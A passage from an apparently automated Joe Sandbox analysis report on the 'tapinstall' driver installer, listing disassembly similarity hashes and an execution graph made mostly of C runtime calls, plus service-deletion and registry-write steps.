                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Valuetry_get_function
                                                                                                                  • String ID: FlsSetValue
                                                                                                                  • API String ID: 738293619-3750699315
                                                                                                                  • Opcode ID: f6d5dd2663f4e630c5fdec50bbb7cd7a8c87450e82d038accba4aa9b3675ea98
                                                                                                                  • Instruction ID: c738d00a6726fb8decfef5960ea2e65cde18cbc5bb9b073e52e32b67682e742f
                                                                                                                  • Opcode Fuzzy Hash: f6d5dd2663f4e630c5fdec50bbb7cd7a8c87450e82d038accba4aa9b3675ea98
                                                                                                                  • Instruction Fuzzy Hash: 83E06562E0854281FB046F51F8000B8A222AFC8780FD9503AD63F067D4DEBCD49883A4
                                                                                                                  Function 00007FF7FEDDA544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEDDA56D
                                                                                                                  • TlsSetValue.KERNEL32(?,?,?,00007FF7FEDD9CC5,?,?,?,?,00007FF7FEDD91A4,?,?,?,?,00007FF7FEDD814B), ref: 00007FF7FEDDA584
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Valuetry_get_function
                                                                                                                  • String ID: FlsSetValue
                                                                                                                  • API String ID: 738293619-3750699315
                                                                                                                  • Opcode ID: 620ae2d36bd9a72b075ae6d885032ef81b4224fd675c2c0689d5fc8c746a91d4
                                                                                                                  • Instruction ID: b87cb17460b9ba3b58d34a3610b0330013a321fa8e186a7f75a73e26266fdf38
                                                                                                                  • Opcode Fuzzy Hash: 620ae2d36bd9a72b075ae6d885032ef81b4224fd675c2c0689d5fc8c746a91d4
                                                                                                                  • Instruction Fuzzy Hash: 6FE03062E0854281FB196F91F4004B8A321AFC8780FDA5039D93E0BAD8CEBCD44886A0

                                                                                                                  Execution Graph

                                                                                                                  Execution Coverage:1.2%
                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                  Signature Coverage:2.9%
                                                                                                                  Total number of Nodes:2000
                                                                                                                  Total number of Limit Nodes:28
                                                                                                                  execution_graph 15571 100134a0 15583 10013240 15571->15583 15573 100134b2 OpenSCManagerA 15574 100134ca OpenServiceA 15573->15574 15575 1001350f GetLastError 15573->15575 15576 100134dd DeleteService GetLastError CloseServiceHandle CloseServiceHandle 15574->15576 15577 100134fe GetLastError CloseServiceHandle 15574->15577 15578 10013517 SetLastError 15575->15578 15576->15578 15577->15578 15613 10012d70 RegOpenKeyExA 15578->15613 15580 10013525 15618 10012d00 RegOpenKeyExA 15580->15618 15582 1001352c 15621 10012f40 15583->15621 15585 10013266 15611 1001348c 15585->15611 15633 10012e20 RegOpenKeyExA 15585->15633 15587 10013281 15590 1001329f 15587->15590 15591 1001330e 15587->15591 15587->15611 15588 100132bc 15588->15611 15653 10007b2f 15588->15653 15589 10013341 15594 10012f40 105 API calls 15589->15594 15590->15588 15649 10008360 15590->15649 15591->15589 15592 10012f40 105 API calls 15591->15592 15592->15589 15596 1001336f 15594->15596 15595 10013303 15595->15573 15598 10012f40 105 API calls 15596->15598 15603 10013386 15596->15603 15598->15603 15600 100133f5 15605 10008360 _memmove_s __VEC_memcpy 15600->15605 15612 100133ea 15600->15612 15601 10012e20 74 API calls 15601->15588 15602 1001342b RegOpenKeyExA 15604 10013482 15602->15604 15606 10013448 RegSetValueExA RegCloseKey 15602->15606 15603->15600 15607 100133b9 15603->15607 15609 10007b2f __crtLCMapStringA_stat 66 API calls 15604->15609 15604->15611 15605->15612 15606->15604 15607->15602 15607->15604 15610 10008360 _memmove_s __VEC_memcpy 15607->15610 15609->15611 15610->15612 15611->15573 15612->15602 15614 10012d90 15613->15614 15615 10012d96 RegQueryValueExA 15613->15615 15614->15580 15616 10012dc3 RegSetValueExA RegCloseKey 15615->15616 15616->15580 15619 10012d25 RegSetValueExA RegCloseKey 15618->15619 15620 10012d1f 15618->15620 15619->15582 15620->15582 15666 10008877 15621->15666 15624 10012f93 15681 10007ccf 15624->15681 15625 10012fab 15627 10012fb5 RegQueryValueExA 15625->15627 15628 10012fdc RegSetValueExA 15625->15628 15630 10012ff3 RegCloseKey 15627->15630 15628->15630 15629 10012fa4 15629->15585 15631 10007ccf __invoke_watson 5 API calls 15630->15631 15632 10013016 15631->15632 15632->15585 15634 10012e43 15633->15634 15635 10012e4a 15633->15635 15634->15587 15636 10012e56 RegQueryValueExA 15635->15636 15637 10012eef RegSetValueExA 15635->15637 15638 10012e76 RegCloseKey 15636->15638 15639 10012e89 15636->15639 15642 10012f20 RegCloseKey 15637->15642 15638->15587 16392 10007c0c 15639->16392 15642->15587 15643 10012e94 15644 10012eb0 RegQueryValueExA 15643->15644 15645 10012e9d RegCloseKey 15643->15645 15644->15642 15646 10012ecb RegCloseKey 15644->15646 15645->15587 15647 10007b2f __crtLCMapStringA_stat 66 API calls 15646->15647 15648 10012ede 15647->15648 15648->15587 15650 10008378 15649->15650 15651 1000839f __VEC_memcpy 15650->15651 15652 100083a7 15650->15652 15651->15652 15652->15601 15654 10007b3b __calloc_impl 15653->15654 15655 10007b7a 15654->15655 15656 10007bb4 __dosmaperr __calloc_impl 15654->15656 15658 10009513 __lock 64 API calls 15654->15658 15655->15656 15657 10007b8f HeapFree 15655->15657 15656->15595 15657->15656 15659 10007ba1 15657->15659 15662 10007b52 ___sbh_find_block 15658->15662 15660 10009230 __calloc_impl 64 API calls 15659->15660 15661 10007ba6 GetLastError 15660->15661 15661->15656 15663 10007b6c 15662->15663 16422 100095b7 15662->16422 16429 10007b85 15663->16429 15667 100088a2 15666->15667 15668 10008885 15666->15668 15670 100088ce 15667->15670 15672 100088b1 15667->15672 15689 10009230 15668->15689 15695 1000bd21 15670->15695 15675 10009230 __calloc_impl 66 API calls 15672->15675 15676 100088b6 15675->15676 15679 100082eb __calloc_impl 66 API calls 15676->15679 15677 100088fc 15678 1000889a RegOpenKeyExA 15677->15678 15739 1000ba9e 15677->15739 15678->15624 15678->15625 15679->15678 15682 10007cd7 15681->15682 15683 10007cd9 IsDebuggerPresent 15681->15683 15682->15629 16391 1000b918 15683->16391 15686 1000a802 SetUnhandledExceptionFilter UnhandledExceptionFilter 15687 1000a827 GetCurrentProcess TerminateProcess 15686->15687 15688 1000a81f __invoke_watson 15686->15688 15687->15629 15688->15687 15760 1000aaf7 GetLastError 15689->15760 15691 1000888a 15692 100082eb 15691->15692 15693 1000a91e __mtterm 66 API calls 15692->15693 15694 100082f9 __invoke_watson 15693->15694 15981 1000bbfe 15695->15981 15698 1000bd81 15699 10009230 __calloc_impl 66 API calls 15698->15699 15729 1000bd86 15699->15729 15701 1000bdc1 15703 1000bdef 15701->15703 15705 100106d0 __output_l 66 API calls 15701->15705 15702 100082eb __calloc_impl 66 API calls 15704 1000bd96 15702->15704 15703->15698 15708 100106d0 __output_l 66 API calls 15703->15708 15707 10007ccf __invoke_watson 5 API calls 15704->15707 15706 1000bdcf 15705->15706 15706->15703 15710 100106d0 __output_l 66 API calls 15706->15710 15709 1000c68d 15707->15709 15711 1000be14 15708->15711 15709->15677 15712 1000bddd 15710->15712 15715 100106d0 __output_l 66 API calls 15711->15715 15728 1000be42 15711->15728 15714 100106d0 __output_l 66 API calls 15712->15714 15714->15703 15717 1000be22 15715->15717 15716 1000be67 __aulldvrm __woutput_l _strlen 15716->15704 15718 1000bc80 99 API calls __output_l 15716->15718 15720 1000c0d7 15716->15720 15721 1000c656 15716->15721 15724 10007b2f __crtLCMapStringA_stat 66 API calls 15716->15724 15727 1000bcb3 99 API calls _write_multi_char 15716->15727 15735 10010872 77 API calls _wctomb_s 15716->15735 15738 1000bcd7 99 API calls _write_string 15716->15738 15996 1001088d 15716->15996 15719 100106d0 __output_l 66 API calls 15717->15719 15717->15728 15718->15716 15722 1000be30 15719->15722 15723 1000c0ff 15720->15723 15731 1000b155 __malloc_crt 66 API calls 15720->15731 15726 10009230 __calloc_impl 66 API calls 15721->15726 15725 100106d0 __output_l 66 API calls 15722->15725 15730 1000a91e __mtterm 66 API calls 15723->15730 15724->15716 15725->15728 15726->15729 15727->15716 15728->15698 15728->15716 15729->15702 15733 1000c346 15730->15733 15731->15723 15732 1000c36c 15734 1000c38b 15732->15734 15737 1000a91e __mtterm 66 API calls 15732->15737 15733->15732 15736 1000a91e __mtterm 66 API calls 15733->15736 15734->15677 15735->15716 15736->15732 15737->15734 15738->15716 15740 100106d0 __output_l 66 API calls 15739->15740 15741 1000baac 15740->15741 15742 1000bab7 15741->15742 15743 1000bace 15741->15743 15744 10009230 __calloc_impl 66 API calls 15742->15744 15745 1000bad2 15743->15745 15754 1000badf __flswbuf 15743->15754 15753 1000babc 15744->15753 15746 10009230 __calloc_impl 66 API calls 15745->15746 15746->15753 15747 1000bbcd 15751 100103b1 __locking 99 API calls 15747->15751 15748 1000bb4d 15749 1000bb81 15748->15749 15750 1000bb64 15748->15750 15749->15753 16243 1000fc76 15749->16243 16218 100103b1 15750->16218 15751->15753 15753->15678 15754->15753 15756 1000bb34 15754->15756 15759 1000bb3f 15754->15759 16205 100104d1 15754->16205 15756->15759 16215 1001048d 15756->16215 15759->15747 15759->15748 15774 1000a9b0 TlsGetValue 15760->15774 15763 1000ab62 SetLastError 15763->15691 15768 1000ab41 15794 1000aa38 15768->15794 15769 1000ab59 15771 10007b2f __crtLCMapStringA_stat 63 API calls 15769->15771 15773 1000ab5f 15771->15773 15772 1000ab49 GetCurrentThreadId 15772->15763 15773->15763 15775 1000a9c3 15774->15775 15776 1000a9de 15774->15776 15777 1000a91e __mtterm 64 API calls 15775->15777 15776->15763 15779 1000b195 15776->15779 15778 1000a9ce TlsSetValue 15777->15778 15778->15776 15781 1000b199 15779->15781 15782 1000ab20 15781->15782 15783 1000b1b9 Sleep 15781->15783 15808 1000f6fc 15781->15808 15782->15763 15784 1000a91e TlsGetValue 15782->15784 15783->15781 15785 1000a931 15784->15785 15786 1000a952 GetModuleHandleA 15784->15786 15785->15786 15789 1000a93b TlsGetValue 15785->15789 15787 1000a963 15786->15787 15788 1000a94a 15786->15788 15952 1000a83b 15787->15952 15788->15768 15788->15769 15792 1000a946 15789->15792 15791 1000a968 15791->15788 15793 1000a96c GetProcAddress 15791->15793 15792->15786 15792->15788 15793->15788 15964 1000a044 15794->15964 15796 1000aa44 GetModuleHandleA 15797 1000aa95 15796->15797 15798 1000aa66 15796->15798 15802 10009513 __lock 63 API calls 15797->15802 15799 1000a83b __mtterm 63 API calls 15798->15799 15800 1000aa6b 15799->15800 15800->15797 15801 1000aa6f GetProcAddress GetProcAddress 15800->15801 15801->15797 15803 1000aabc 15802->15803 15965 1000ee79 InterlockedIncrement 15803->15965 15805 1000aadb 15977 1000aaee 15805->15977 15807 1000aae8 __calloc_impl 15807->15772 15809 1000f708 __calloc_impl 15808->15809 15810 1000f720 15809->15810 15820 1000f73f _memset 15809->15820 15811 10009230 __calloc_impl 65 API calls 15810->15811 15812 1000f725 15811->15812 15813 100082eb __calloc_impl 65 API calls 15812->15813 15817 1000f735 __calloc_impl 15813->15817 15814 1000f7b1 HeapAlloc 15814->15820 15817->15781 15820->15814 15820->15817 15821 10009513 15820->15821 15828 10009d60 15820->15828 15834 1000f7f8 15820->15834 15837 1000a715 15820->15837 15822 10009526 15821->15822 15823 10009539 EnterCriticalSection 15821->15823 15840 10009450 15822->15840 15823->15820 15825 1000952c 15825->15823 15866 1000a236 15825->15866 15830 10009d8c 15828->15830 15829 10009e25 15832 10009e2e 15829->15832 15947 1000997b 15829->15947 15830->15829 15830->15832 15940 100098cb 15830->15940 15832->15820 15951 1000943b LeaveCriticalSection 15834->15951 15836 1000f7ff 15836->15820 15838 1000a91e __mtterm 66 API calls 15837->15838 15839 1000a720 15838->15839 15839->15820 15841 1000945c __calloc_impl 15840->15841 15842 10009482 15841->15842 15873 1000a6d2 15841->15873 15848 10009492 __calloc_impl 15842->15848 15919 1000b155 15842->15919 15848->15825 15850 100094b3 15854 10009513 __lock 66 API calls 15850->15854 15851 100094a4 15853 10009230 __calloc_impl 66 API calls 15851->15853 15853->15848 15855 100094ba 15854->15855 15856 100094c2 15855->15856 15857 100094ee 15855->15857 15924 1000e5c6 15856->15924 15859 10007b2f __crtLCMapStringA_stat 66 API calls 15857->15859 15861 100094df 15859->15861 15860 100094cd 15860->15861 15862 10007b2f __crtLCMapStringA_stat 66 API calls 15860->15862 15937 1000950a 15861->15937 15864 100094d9 15862->15864 15865 10009230 __calloc_impl 66 API calls 15864->15865 15865->15861 15867 1000a6d2 __FF_MSGBANNER 66 API calls 15866->15867 15868 1000a23b 15867->15868 15869 1000a532 _malloc 66 API calls 15868->15869 15870 1000a244 15869->15870 15871 1000a91e __mtterm 66 API calls 15870->15871 15872 10009538 15871->15872 15872->15823 15874 1000ecf3 __FF_MSGBANNER 66 API calls 15873->15874 15875 1000a6d9 15874->15875 15876 1000ecf3 __FF_MSGBANNER 66 API calls 15875->15876 15878 1000a6e6 15875->15878 15876->15878 15877 1000a532 _malloc 66 API calls 15879 1000a6fe 15877->15879 15878->15877 15880 10009471 15878->15880 15881 1000a532 _malloc 66 API calls 15879->15881 15882 1000a532 15880->15882 15881->15880 15883 1000a53e 15882->15883 15884 1000ecf3 __FF_MSGBANNER 63 API calls 15883->15884 15915 10009478 15883->15915 15885 1000a55e 15884->15885 15886 1000a699 GetStdHandle 15885->15886 15888 1000ecf3 __FF_MSGBANNER 63 API calls 15885->15888 15887 1000a6a7 _strlen 15886->15887 15886->15915 15891 1000a6c1 WriteFile 15887->15891 15887->15915 15889 1000a56f 15888->15889 15889->15886 15890 1000a581 15889->15890 15892 1000b7b8 _strcpy_s 63 API calls 15890->15892 15890->15915 15891->15915 15893 1000a5a3 15892->15893 15894 1000a5b7 GetModuleFileNameA 15893->15894 15895 100081ef __invoke_watson 10 API calls 15893->15895 15896 1000a5d5 15894->15896 15901 1000a5f8 _strlen 15894->15901 15897 1000a5b4 15895->15897 15898 1000b7b8 _strcpy_s 63 API calls 15896->15898 15897->15894 15899 1000a5e5 15898->15899 15899->15901 15902 100081ef __invoke_watson 10 API calls 15899->15902 15900 1000a63b 15903 1000ebcf _strcat_s 63 API calls 15900->15903 15901->15900 15905 1000ec40 __crtLCMapStringW_stat 63 API calls 15901->15905 15902->15901 15904 1000a64e 15903->15904 15907 1000a65f 15904->15907 15908 100081ef __invoke_watson 10 API calls 15904->15908 15906 1000a628 15905->15906 15906->15900 15910 100081ef __invoke_watson 10 API calls 15906->15910 15909 1000ebcf _strcat_s 63 API calls 15907->15909 15908->15907 15912 1000a670 15909->15912 15910->15900 15911 1000a681 15913 1000ea12 _malloc 63 API calls 15911->15913 15912->15911 15914 100081ef __invoke_watson 10 API calls 15912->15914 15913->15915 15914->15911 15916 1000a280 15915->15916 15917 1000a25a ___crtCorExitProcess GetModuleHandleA GetProcAddress 15916->15917 15918 1000a289 ExitProcess 15917->15918 15923 1000b159 15919->15923 15920 10007c0c _malloc 65 API calls 15920->15923 15921 1000949d 15921->15850 15921->15851 15922 1000b171 Sleep 15922->15923 15923->15920 15923->15921 15923->15922 15925 1000e5d2 __calloc_impl 15924->15925 15926 1000a91e __mtterm 64 API calls 15925->15926 15927 1000e5e2 15926->15927 15928 1000a2df ___crtInitCritSecAndSpinCount 64 API calls 15927->15928 15931 1000e636 __calloc_impl 15927->15931 15929 1000e5f2 15928->15929 15930 1000e601 15929->15930 15932 100081ef __invoke_watson 10 API calls 15929->15932 15933 1000e60a GetModuleHandleA 15930->15933 15934 1000e62b 15930->15934 15931->15860 15932->15930 15933->15934 15935 1000e619 GetProcAddress 15933->15935 15936 1000a8a7 __init_pointers 64 API calls 15934->15936 15935->15934 15936->15931 15938 1000943b __calloc_impl LeaveCriticalSection 15937->15938 15939 10009511 15938->15939 15939->15848 15941 10009912 HeapAlloc 15940->15941 15942 100098de HeapReAlloc 15940->15942 15944 100098fc 15941->15944 15945 10009935 VirtualAlloc 15941->15945 15943 10009900 15942->15943 15942->15944 15943->15941 15944->15829 15945->15944 15946 1000994f HeapFree 15945->15946 15946->15944 15948 10009990 VirtualAlloc 15947->15948 15950 100099d7 15948->15950 15950->15832 15951->15836 15957 1000a316 15952->15957 15954 1000a856 15955 1000a861 GetModuleHandleA 15954->15955 15956 1000a85d ___TypeMatch 15954->15956 15955->15956 15956->15791 15958 1000a321 15957->15958 15959 1000a346 15958->15959 15960 10009230 __calloc_impl 66 API calls 15958->15960 15959->15954 15961 1000a326 15960->15961 15962 100082eb __calloc_impl 66 API calls 15961->15962 15963 1000a336 15962->15963 15963->15954 15964->15796 15966 1000ee94 InterlockedIncrement 15965->15966 15967 1000ee97 15965->15967 15966->15967 15968 1000eea1 InterlockedIncrement 15967->15968 15969 1000eea4 15967->15969 15968->15969 15970 1000eeb1 15969->15970 15971 1000eeae InterlockedIncrement 15969->15971 15972 1000eebb InterlockedIncrement 15970->15972 15974 1000eebe 15970->15974 15971->15970 15972->15974 15973 1000eed3 InterlockedIncrement 15973->15974 15974->15973 15975 1000eee3 InterlockedIncrement 15974->15975 15976 1000eeec InterlockedIncrement 15974->15976 15975->15974 15976->15805 15980 1000943b LeaveCriticalSection 15977->15980 15979 1000aaf5 15979->15807 15980->15979 15982 1000bc0d 15981->15982 15986 1000bc5a 15981->15986 15999 1000ab6e 15982->15999 15985 1000bc3a 15985->15986 16019 1000f24d 15985->16019 15986->15698 15986->15728 15989 100106d0 15986->15989 15990 100106f8 15989->15990 15991 100106db 15989->15991 15990->15701 15992 10009230 __calloc_impl 66 API calls 15991->15992 15993 100106e0 15992->15993 15994 100082eb __calloc_impl 66 API calls 15993->15994 15995 100106f0 15994->15995 15995->15701 15997 1000bbfe _LocaleUpdate::_LocaleUpdate 75 API calls 15996->15997 15998 1001089e 15997->15998 15998->15716 16000 1000aaf7 _raise 66 API calls 15999->16000 16001 1000ab74 16000->16001 16002 1000ab81 16001->16002 16003 1000a236 __amsg_exit 66 API calls 16001->16003 16002->15985 16004 1000efc9 16002->16004 16003->16002 16005 1000efd5 __calloc_impl 16004->16005 16006 1000ab6e FindHandlerForForeignException 66 API calls 16005->16006 16007 1000efda 16006->16007 16008 1000f008 16007->16008 16009 1000efec 16007->16009 16010 10009513 __lock 66 API calls 16008->16010 16012 1000ab6e FindHandlerForForeignException 66 API calls 16009->16012 16011 1000f00f 16010->16011 16033 1000ef8b 16011->16033 16014 1000eff1 16012->16014 16017 1000a236 __amsg_exit 66 API calls 16014->16017 16018 1000efff __calloc_impl 16014->16018 16017->16018 16018->15985 16020 1000f259 __calloc_impl 16019->16020 16021 1000ab6e FindHandlerForForeignException 66 API calls 16020->16021 16022 1000f25e 16021->16022 16023 10009513 __lock 66 API calls 16022->16023 16030 1000f270 16022->16030 16024 1000f28e 16023->16024 16025 1000f2a5 InterlockedDecrement 16024->16025 16032 1000f2be 16024->16032 16028 1000f2b0 16025->16028 16025->16032 16026 1000a236 __amsg_exit 66 API calls 16029 1000f27e __calloc_impl 16026->16029 16031 10007b2f __crtLCMapStringA_stat 66 API calls 16028->16031 16028->16032 16029->15986 16030->16026 16030->16029 16031->16032 16201 1000f2e8 16032->16201 16034 1000ef8f 16033->16034 16040 1000efc1 16033->16040 16035 1000ee79 ___addlocaleref 8 API calls 16034->16035 16034->16040 16036 1000efa2 16035->16036 16036->16040 16044 1000eeff 16036->16044 16041 1000f033 16040->16041 16200 1000943b LeaveCriticalSection 16041->16200 16043 1000f03a 16043->16014 16045 1000ef87 16044->16045 16046 1000ef08 InterlockedDecrement 16044->16046 16045->16040 16058 1000ed39 16045->16058 16047 1000ef21 16046->16047 16048 1000ef1e InterlockedDecrement 16046->16048 16049 1000ef2b InterlockedDecrement 16047->16049 16050 1000ef2e 16047->16050 16048->16047 16049->16050 16051 1000ef38 InterlockedDecrement 16050->16051 16052 1000ef3b 16050->16052 16051->16052 16053 1000ef45 InterlockedDecrement 16052->16053 16054 1000ef48 16052->16054 16053->16054 16055 1000ef5d InterlockedDecrement 16054->16055 16056 1000ef6d InterlockedDecrement 16054->16056 16057 1000ef76 InterlockedDecrement 16054->16057 16055->16054 16056->16054 16057->16045 16059 1000edba 16058->16059 16062 1000ed4d 16058->16062 16060 10007b2f __crtLCMapStringA_stat 66 API calls 16059->16060 16061 1000ee07 16059->16061 16063 1000eddb 16060->16063 16073 1000ee2e 16061->16073 16112 10010e30 16061->16112 16062->16059 16069 10007b2f __crtLCMapStringA_stat 66 API calls 16062->16069 16084 1000ed81 16062->16084 16065 10007b2f __crtLCMapStringA_stat 66 API calls 16063->16065 16070 1000edee 16065->16070 16067 1000ee6d 16072 10007b2f __crtLCMapStringA_stat 66 API calls 16067->16072 16068 10007b2f __crtLCMapStringA_stat 66 API calls 16068->16073 16074 1000ed76 16069->16074 16075 10007b2f __crtLCMapStringA_stat 66 API calls 16070->16075 16071 10007b2f __crtLCMapStringA_stat 66 API calls 16077 1000edaf 16071->16077 16078 1000ee73 16072->16078 16073->16067 16082 10007b2f 66 API calls __crtLCMapStringA_stat 16073->16082 16088 10011000 16074->16088 16080 1000edfc 16075->16080 16076 10007b2f __crtLCMapStringA_stat 66 API calls 16081 1000ed97 16076->16081 16083 10007b2f __crtLCMapStringA_stat 66 API calls 16077->16083 16078->16040 16085 10007b2f __crtLCMapStringA_stat 66 API calls 16080->16085 16104 10010fc0 16081->16104 16082->16073 16083->16059 16084->16076 16087 1000eda2 16084->16087 16085->16061 16087->16071 16089 10011086 16088->16089 16090 10011009 16088->16090 16089->16084 16091 1001101a 16090->16091 16092 10007b2f __crtLCMapStringA_stat 66 API calls 16090->16092 16093 1001102c 16091->16093 16094 10007b2f __crtLCMapStringA_stat 66 API calls 16091->16094 16092->16091 16095 1001103e 16093->16095 16096 10007b2f __crtLCMapStringA_stat 66 API calls 16093->16096 16094->16093 16097 10011050 16095->16097 16098 10007b2f __crtLCMapStringA_stat 66 API calls 16095->16098 16096->16095 16099 10011062 16097->16099 16100 10007b2f __crtLCMapStringA_stat 66 API calls 16097->16100 16098->16097 16101 10011074 16099->16101 16102 10007b2f __crtLCMapStringA_stat 66 API calls 16099->16102 16100->16099 16101->16089 16103 10007b2f __crtLCMapStringA_stat 66 API calls 16101->16103 16102->16101 16103->16089 16105 10010fc9 16104->16105 16111 10010ffd 16104->16111 16106 10010fd9 16105->16106 16107 10007b2f __crtLCMapStringA_stat 66 API calls 16105->16107 16108 10010feb 16106->16108 16109 10007b2f __crtLCMapStringA_stat 66 API calls 16106->16109 16107->16106 16110 10007b2f __crtLCMapStringA_stat 66 API calls 16108->16110 16108->16111 16109->16108 16110->16111 16111->16087 16113 10010e3d 16112->16113 16199 1000ee27 16112->16199 16114 10007b2f __crtLCMapStringA_stat 66 API calls 16113->16114 16115 10010e45 16114->16115 16116 10007b2f __crtLCMapStringA_stat 66 API calls 16115->16116 16117 10010e4d 16116->16117 16118 10007b2f __crtLCMapStringA_stat 66 API calls 16117->16118 16119 10010e55 16118->16119 16120 10007b2f __crtLCMapStringA_stat 66 API calls 16119->16120 16121 10010e5d 16120->16121 16122 10007b2f __crtLCMapStringA_stat 66 API calls 16121->16122 16123 10010e65 16122->16123 16124 10007b2f __crtLCMapStringA_stat 66 API calls 16123->16124 16125 10010e6d 16124->16125 16126 10007b2f __crtLCMapStringA_stat 66 API calls 16125->16126 16127 10010e74 16126->16127 16128 10007b2f __crtLCMapStringA_stat 66 API calls 16127->16128 16129 10010e7c 16128->16129 16130 10007b2f __crtLCMapStringA_stat 66 API calls 16129->16130 16131 10010e84 16130->16131 16132 10007b2f __crtLCMapStringA_stat 66 API calls 16131->16132 16133 10010e8c 16132->16133 16134 10007b2f __crtLCMapStringA_stat 66 API calls 16133->16134 16135 10010e94 16134->16135 16136 10007b2f __crtLCMapStringA_stat 66 API calls 16135->16136 16137 10010e9c 16136->16137 16138 10007b2f __crtLCMapStringA_stat 66 API calls 16137->16138 16139 10010ea4 16138->16139 16140 10007b2f __crtLCMapStringA_stat 66 API calls 16139->16140 16141 10010eac 16140->16141 16142 10007b2f __crtLCMapStringA_stat 66 API calls 16141->16142 16143 10010eb4 16142->16143 16144 10007b2f __crtLCMapStringA_stat 66 API calls 16143->16144 16145 10010ebc 16144->16145 16146 10007b2f __crtLCMapStringA_stat 66 API calls 16145->16146 16147 10010ec7 16146->16147 16148 10007b2f __crtLCMapStringA_stat 66 API calls 16147->16148 16149 10010ecf 16148->16149 16150 10007b2f __crtLCMapStringA_stat 66 API calls 16149->16150 16151 10010ed7 16150->16151 16152 10007b2f __crtLCMapStringA_stat 66 API calls 16151->16152 16153 10010edf 16152->16153 16154 10007b2f __crtLCMapStringA_stat 66 API calls 16153->16154 16155 10010ee7 16154->16155 16156 10007b2f __crtLCMapStringA_stat 66 API calls 16155->16156 16157 10010eef 16156->16157 16158 10007b2f __crtLCMapStringA_stat 66 API calls 16157->16158 16159 10010ef7 16158->16159 16160 10007b2f __crtLCMapStringA_stat 66 API calls 16159->16160 16161 10010eff 16160->16161 16199->16068 16200->16043 16204 1000943b LeaveCriticalSection 16201->16204 16203 1000f2ef 16203->16030 16204->16203 16206 100104da 16205->16206 16208 100104e8 16205->16208 16207 10009230 __calloc_impl 66 API calls 16206->16207 16209 100104df 16207->16209 16210 10010513 16208->16210 16211 10009230 __calloc_impl 66 API calls 16208->16211 16209->15756 16210->15756 16212 100104fc 16211->16212 16213 100082eb __calloc_impl 66 API calls 16212->16213 16214 1001050c 16213->16214 16214->15756 16216 1000b155 __malloc_crt 66 API calls 16215->16216 16217 1001049d 16216->16217 16217->15759 16219 100103bd __calloc_impl 16218->16219 16220 100103e0 16219->16220 16221 100103c5 16219->16221 16223 100103ee 16220->16223 16227 1001042f 16220->16227 16275 10009243 16221->16275 16224 10009243 __close 66 API calls 16223->16224 16226 100103f3 16224->16226 16229 10009230 __calloc_impl 66 API calls 16226->16229 16278 10011917 16227->16278 16228 10009230 __calloc_impl 66 API calls 16236 100103d2 __calloc_impl 16228->16236 16231 100103fa 16229->16231 16233 100082eb __calloc_impl 66 API calls 16231->16233 16232 10010435 16234 10010442 16232->16234 16235 10010458 16232->16235 16233->16236 16288 1000fd8f 16234->16288 16238 10009230 __calloc_impl 66 API calls 16235->16238 16236->15753 16239 1001045d 16238->16239 16241 10009243 __close 66 API calls 16239->16241 16240 10010450 16347 10010483 16240->16347 16241->16240 16244 1000fc82 __calloc_impl 16243->16244 16245 1000fc93 16244->16245 16246 1000fcaf 16244->16246 16247 10009243 __close 66 API calls 16245->16247 16248 1000fcbd 16246->16248 16250 1000fcde 16246->16250 16249 1000fc98 16247->16249 16251 10009243 __close 66 API calls 16248->16251 16254 10009230 __calloc_impl 66 API calls 16249->16254 16252 1000fd24 16250->16252 16253 1000fcfe 16250->16253 16255 1000fcc2 16251->16255 16258 10011917 ___lock_fhandle 67 API calls 16252->16258 16257 10009243 __close 66 API calls 16253->16257 16269 1000fca0 __calloc_impl 16254->16269 16256 10009230 __calloc_impl 66 API calls 16255->16256 16259 1000fcc9 16256->16259 16260 1000fd03 16257->16260 16261 1000fd2a 16258->16261 16262 100082eb __calloc_impl 66 API calls 16259->16262 16263 10009230 __calloc_impl 66 API calls 16260->16263 16264 1000fd53 16261->16264 16265 1000fd37 16261->16265 16262->16269 16268 1000fd0a 16263->16268 16267 10009230 __calloc_impl 66 API calls 16264->16267 16266 1000fbf3 __lseeki64_nolock 68 API calls 16265->16266 16270 1000fd48 16266->16270 16271 1000fd58 16267->16271 16272 100082eb __calloc_impl 66 API calls 16268->16272 16269->15753 16387 1000fd85 16270->16387 16273 10009243 __close 66 API calls 16271->16273 16272->16269 16273->16270 16276 1000aaf7 _raise 66 API calls 16275->16276 16277 10009248 16276->16277 16277->16228 16279 10011923 __calloc_impl 16278->16279 16280 1001197e 16279->16280 16282 10009513 __lock 66 API calls 16279->16282 16281 10011983 EnterCriticalSection 16280->16281 16283 100119a0 __calloc_impl 16280->16283 16281->16283 16284 1001194f 16282->16284 16283->16232 16285 10011966 16284->16285 16287 1000e5c6 ___crtInitCritSecAndSpinCount 66 API calls 16284->16287 16350 100119ae 16285->16350 16287->16285 16289 1000fdcb 16288->16289 16335 1000fdc4 16288->16335 16290 1000fdf6 16289->16290 16291 1000fdcf 16289->16291 16294 1000fe5e 16290->16294 16295 1000fe38 16290->16295 16293 10009243 __close 66 API calls 16291->16293 16292 10007ccf __invoke_watson 5 API calls 16296 100103a9 16292->16296 16297 1000fdd4 16293->16297 16299 1000fe75 16294->16299 16354 